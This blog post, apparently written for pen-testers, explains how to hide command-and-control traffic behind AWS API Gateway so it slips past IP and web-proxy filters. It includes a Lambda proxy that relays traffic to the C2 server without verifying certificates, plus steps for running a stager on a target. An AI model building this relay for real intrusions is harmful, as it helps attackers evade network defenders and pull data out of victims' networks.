Blog

AWS API Gateway fronting for Command and Control

Often during pen-testing engagements we run into clients who utilize IP blacklists or IP whitelists to filter outbound communications. Many Web proxy companies also utilize metrics like domain registration date, SSL certificate provider, and total site traffic to block potentially malicious traffic for their customers. All of these filtering methods can prove problematic to red teams trying to get data into or out of the customer’s network.

Cloud services, however, can provide a quick and easy defeat for these defenses. Since these services are hosted by large reputable providers they often get a free pass on IP blacklists. For example, Amazon’s AWS web gateway not only provides rolling IPs in a reputable CIDR block but also provides a subdomain under the vetted amazonaws.com root domain, as well as a valid TLS certificate that isn’t as suspicious as say a cert issued by Let’s encrypt. As seen below, most web proxy products classify AWS API gateway URLs into benign categories that should get right past the filter. In this blog I’ll utilize AWS web gateway to front agent traffic to our Voodoo Command and Control server.

The setup for this is pretty straightforward. The general steps are:

  • Install Voodoo LP
  • Create AWS lambda function
  • Create AWS API Gateway
  • Create a Voodoo stager that points to the AWS API Gateway URL

Voodoo Listening Post

To start we’ll need a Voodoo LP installed somewhere with port 443 open. If you haven’t done this before you can follow this blog post (only do the initial setup section). We won’t need to setup a domain name and a self signed TLS cert will be just fine here. All we need at this point is the external ip.

AWS Lambda

The AWS lambda function is used to proxy the AWS API Gateway requests to the Voodoo LP. This isn’t technically needed as we could point the AWS gateway right at our Voodoo LP but using a lambda function will make this process easier.

To setup the lambda function simply

  1. Login to https://console.aws.amazon.com/lambda
  2. From the Functions navigation pane click Create Function on the top right.
  3. Make sure Author from Scratch is selected, give your lambda function a name, choose Python 3.6 as the runtime, then click Create Function.
  4. Enter the following code block in for the contents of the lambda function
import ssl
import urllib.request
import base64
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
def lambda_handler(event, context):
url = ‘https://x.x.x.x/aws/gateway/’
data=None
headers={}
if event[‘body’]:
data = base64.b64decode(event[‘body’])
if event[‘headers’]:
headers=event[‘headers’]
req = urllib.request.Request(url, data, headers)
x = urllib.request.urlopen(req, context=ctx)
return {
“isBase64Encoded”: True,
“statusCode”: 200,
“headers”: {“Content-Type”: “application/octet-stream”},
“body”: base64.b64encode(x.read()).decode(‘utf-8’)
}

This code block is responsible for forwarding the AWS API Gateway request to the Voodoo LP. The AWS API gateway interface doesn’t pass raw bytes around but instead uses base64 encoded data. Thus, this function just encodes/decodes based64 data to/from the API gateway. Make sure to replace x.x.x.x with the IP of your Voodoo LP instance.

 

AWS API Gateway

The next piece is to setup the API Gateway to accept requests and forward them to the lambda function.

  1. Move over to https://console.aws.amazon.com/apigateway
  2. Under REST API, choose Build.
  3. Leave the defaults as is and give the API a name
  4. Under the root resource “/” create a new resource with the path set to {proxy+}
  5. Enter the name of your lambda function in the Lambda Function field and click Save
  6. Under API -> Settings add a Binary Media Type for */*
  7. Go back to the Resources tab. Under the Actions menu click Deploy API
  8. Make note of the URL for the API at the top of this page then accept the default options and click Save Changes

At this point the API Gateway setup is complete. Now we just need to generate a stager.

Voodoo Stager

The final step is to create a Voodoo Stager that points to the AWS API Gateway URL and execute that on target. For this we just need to create a new stager using the HTTPS call back method. Change the domain field to point to the AWS API Gateway domain. The URL Path needs to start the same patch as shown in your API Gateway Invoke URL but can have anything tacked on the end that you’d like. Finally, select the proper OS, Architecture, and host binary for your target then click Update and download the payload.

Wrap up

At this point we are good to go. The Voodoo agent will connect to the AWS API Gateway which will bypass most IP and web filtering. The IP that your API Gateway resolves to will rotate with time making it harder for any analysts to connect the dots.

Additionally, this setup can be reused by simply updating the lambda function to point to a new Voodoo LP and the endpoint can be updated by making a new deployment. If you really wanted to get fancy you could use a cloud formation template to spin up the Voodoo LP, lambda function, and API Gateway all at once!